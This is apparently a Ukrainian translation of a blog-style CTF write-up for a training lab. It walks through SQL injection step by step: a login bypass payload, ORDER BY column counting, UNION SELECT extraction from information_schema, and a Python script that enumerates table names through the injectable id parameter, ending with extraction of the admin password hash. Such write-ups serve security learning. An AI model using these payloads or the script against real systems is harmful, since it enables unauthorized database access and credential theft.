Класичний SQL ін’єкція: від обходу авторизації до панування в базі даних — по-старому

Іноді найпростіші баги приносять найбільше задоволення! У цьому лабораторному завданні я перейшов від обходу аутентифікації до витягання даних всіх користувачів (включаючи пароль адміністратора) через вразливості SQL-ін’єкцій. Нічого надзвичайного, але завжди приємно використовувати класичні техніки.

Для швидкого тестування я використовував розширення Hackbar у Firefox. Це стара версія розширення, яка працює лише з певними (і досить старими) версіями Firefox. Однак для сучасних браузерів є альтернативні розширення з тим самим іменем і функціональністю, але з деякими відмінностями.

Перед тим, як почати, хочу зазначити, що цей CTF можна знайти на 0x4148 під назвою завдання SQL Injection: Breaking In — 01. Це частина серії CTF, що застосовує концепції, отримані з плейлиста навчальних відео від Eng. Ahmed Sultan, який доступний на YouTube (арабською).

Давайте почнемо!

pic

Цілі

  1. Обійти аутентифікацію та отримати доступ до програми без дійсних облікових даних (за допомогою SQL-ін'єкції).
  2. Знайти додаткові вразливості SQL-ін'єкції в програмі та витягнути пароль адміністратора (що є прапором завдання).

Обхід аутентифікації

  • Це було просто: admin' OR 1='1
  • Але ось що цікаво: коли я спробував закоментувати решту запиту ось так: admin' OR 1=1 -- -
  • Програма видала цікаву помилку:
    ”Шкода, цей символ не дозволений. Він може зламати запит, пам’ятаєш? 🙂

pic

Повідомлення про помилку

  • Ідея тут в тому, що якщо SQL-запит на сервері більш складний, закоментування решти може призвести до його зламу. А використання першого пейлоада дозволяє зберегти запит ідеально збалансованим без додаткових зусиль. УРОК ВИВЧЕНИЙ!
  • Після обходу панелі входу, я потрапив в програму. Час шукати інші вразливості SQLi!

Виявлення SQLi та витягування пароля адміністратора

Пошук точки ін’єкції

  • Почав оглядати програму, і перше, з чим я зіткнувся, було це посилання: http://livelabs.0x4148.com/sms/admin/?page=purchase_order/view_po&id=2
  • Воно отримує дані замовлення залежно від його ID, що означає, що є взаємодія з базою даних.

Виявлення вразливості

  • Оскільки значення ID є числовим, ми перевіримо це найпростішим способом, спробувавши деякі прості математичні рівняння!
  • Якщо &id=3–1 та &id=1+1 дадуть такий самий результат, як &id=2, то це вразливість…
  • Чому? Тому що SQL обробляє такого роду обчислення за нас. Отже, 3–1 та 1+1 будуть рівні 2, і якщо обидва повертають те саме замовлення, це однозначно вразливість.

Експлуатація

  • Для того, щоб виконати успішну атаку SQL-ін’єкцією, нам потрібно зробити дві важливі речі:
  • Визначити кількість стовпців, щоб правильно використовувати UNION.
  • Визначити типи даних стовпців. З’ясувати, які стовпці приймають рядки і повертають/виводять їх у відповіді, щоб ми могли ексфільтрувати дані через них.

Крок 1: Визначення кількості стовпців

  • Для використання UNION я повинен був з’ясувати кількість стовпців у першому/поточному/використовуваному запиті.
  • Легко визначити кількість стовпців за допомогою order by.
  • Почав з &id=2 order by 999 -- - і, очікуючи, що запит зламається, отримав нормальне замовлення! Дивно! Неможливо, щоб таблиця мала 999 стовпців xD
  • Тож я спробував додати одну лапку після номера замовлення: &id=2' order by 999 -- - і даних не повернуло (як і очікувалося), потім я спробував &id=2' order by 1 -- -, і це спрацювало, повернувши дані замовлення!
  • Звідси я просто почав пробувати різні числа з order by, щоб визначити кількість стовпців.
    4.
    Оскільки &id=2' order by 13 -- - повернув дані замовлення, але &id=2' order by 14 -- - не повернув, кількість стовпців дорівнює 13.
  • Для того, щоб переконатися, що це працює, я спробував наступний запит UNION з значенням null для всіх стовпців. І він чудово повернув дані замовлення.

pic

Ідеально збалансований запит UNION

Крок 2: Знайти стовпці, що виводяться

  • Тепер ми маємо першу необхідну річ — кількість стовпців. Тепер потрібно з'ясувати, які з 13 стовпців можуть приймати рядки і виводити/повертати їх у відповіді, щоб ми могли ексфільтрувати дані через них.

Чому? Деякі стовпці призначені для зберігання цілих чисел, в той час як інші можуть містити текст. Якщо ми спробуємо вставити текст у стовпець, призначений для цілих чисел, запит зазнає невдачі або працюватиме несподівано.

  • Я заміню всі значення стовпців випадковими значеннями та подивлюся, які з них з'являться у відповіді, щоб зосередитися на них.
  • Зверніть увагу, що для отримання значень другого запиту UNION нам потрібно буде спочатку вказати неіснуючий ID, наприклад від'ємне значення: &id=-2.
  • Якщо ми залишимо правильний/існуючий id, він поверне лише перший рядок результатів, який є даними замовлення, а результат нашого запиту UNION буде у другому рядку. Але якщо замовлення з наданим ID не буде знайдено, результат нашого запиту UNION з'явиться в першому рядку.

pic

Точки відображення показують, які стовпці ми можемо використовувати

  • Як ми бачимо, багато стовпців відображаються у відповіді, я зосереджуся на 13-му стовпці в кінці.

pic

Я спробував команду “version()” перед подальшими експлуатаціями, і вона спрацювала.

Крок 3: Витягування бази даних

  • Ось тут і починається справжнє задоволення! Зазвичай я б використав SQLmap, щоб пришвидшити процес, але оскільки мета цього CTF — це ручна практика, тому без обхідних шляхів.

Швидка примітка: на цьому етапі SQL-Injection Cheat Sheet від Portswigger може бути дуже корисним.

  • Спочатку я отримав імена таблиць за допомогою: SELECT table_name FROM information_schema.tables;

pic

Отримання імен таблиць бази даних

  • Як ви помітили, проблема полягає в тому, що він повертає лише перший результат! У будь-якому випадку, ми можемо використати LIMIT для ітерації через всі імена таблиць і отримати їх.
  • Але перед тим, як це зробити, я спробував використовувати функцію group_concat(), що є SQL функцією, яка об'єднує всі результати в один результат! Круто, так? Давайте спробуємо.

pic

Витягування всіх таблиць бази даних за допомогою функції SQL “groupconcat()”_

  • Це спрацювало, але чомусь виведення обрізається на певній довжині.
    Отже, ми повертаємося до першої ідеї — ітерації через всі таблиці за допомогою оператора LIMIT.
  • Для автоматизації процесу отримання імен таблиць я написав швидкий скрипт на Python:
import requests  
from bs4 import BeautifulSoup  

cookies = {"PHPSESSID": ""}  
results = []  

def get_tables_names():  
 for offset in range(0, 100):  
 url = f"https://livelabs.0x4148.com/sms/admin/?page=purchase_order/view_po&id=-2' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,table_name FROM information_schema.tables LIMIT {str(offset)},1 -- -"  
 res = requests.get(url, cookies=cookies)  
 soup = BeautifulSoup(res.text, 'html.parser')  
 value = soup.find("label", attrs={"for": "supplier_id"}).find_next_sibling("div").text.strip()  
 if value == "":  
 break  
 print(value)  
 results.append(value)  

get_tables_names()
  • Цей скрипт ітерує через таблиці за допомогою оператора LIMIT і витягує їх імена з відповіді за допомогою BeautifulSoup.
  • Якщо BeautifulSoup вам не підходить, можна просто розділити текст відповіді за допомогою вбудованої функції Python split(), або використати RegEx, чи будь-який інший метод, який ви могли б придумати. Повністю на ваш вибір!
  • Після запуску скрипта я отримав цікаві імена таблиць. Звісно, я зосередився на таблиці users, адже саме там має бути пароль адміністратора.

pic

Витягнуті таблиці

Крок 4: Витягування пароля адміністратора

  • Отже, нашою цільовою таблицею є users. Давайте з’ясуємо її імена стовпців за допомогою простого SQL запиту.

pic

Витягування стовпців таблиці “users”

  • Цього разу я використав group_concat(), оскільки результатів лише 13 стовпців, і вони не будуть обрізані, як у нашій першій спробі.
  • І останнє, щоб отримати хеш пароля адміністратора, просто ще один простий SQL запит.

pic

Витягування пароля адміністратора та отримання прапора

  • І все!

Цей лабораторний урок показав, як задовільно і приємно може бути вручну експлуатувати вразливості, особливо класичні, як SQL injection.

Дайте знати, якщо є якісь відгуки чи думки щодо підходу або самого опису — я з радістю вислухаю вашу думку.

Перекладено з: Classic SQL Injection: From Login Bypass to Database Domination — the Oldschool Way

Leave a Reply

Your email address will not be published. Required fields are marked *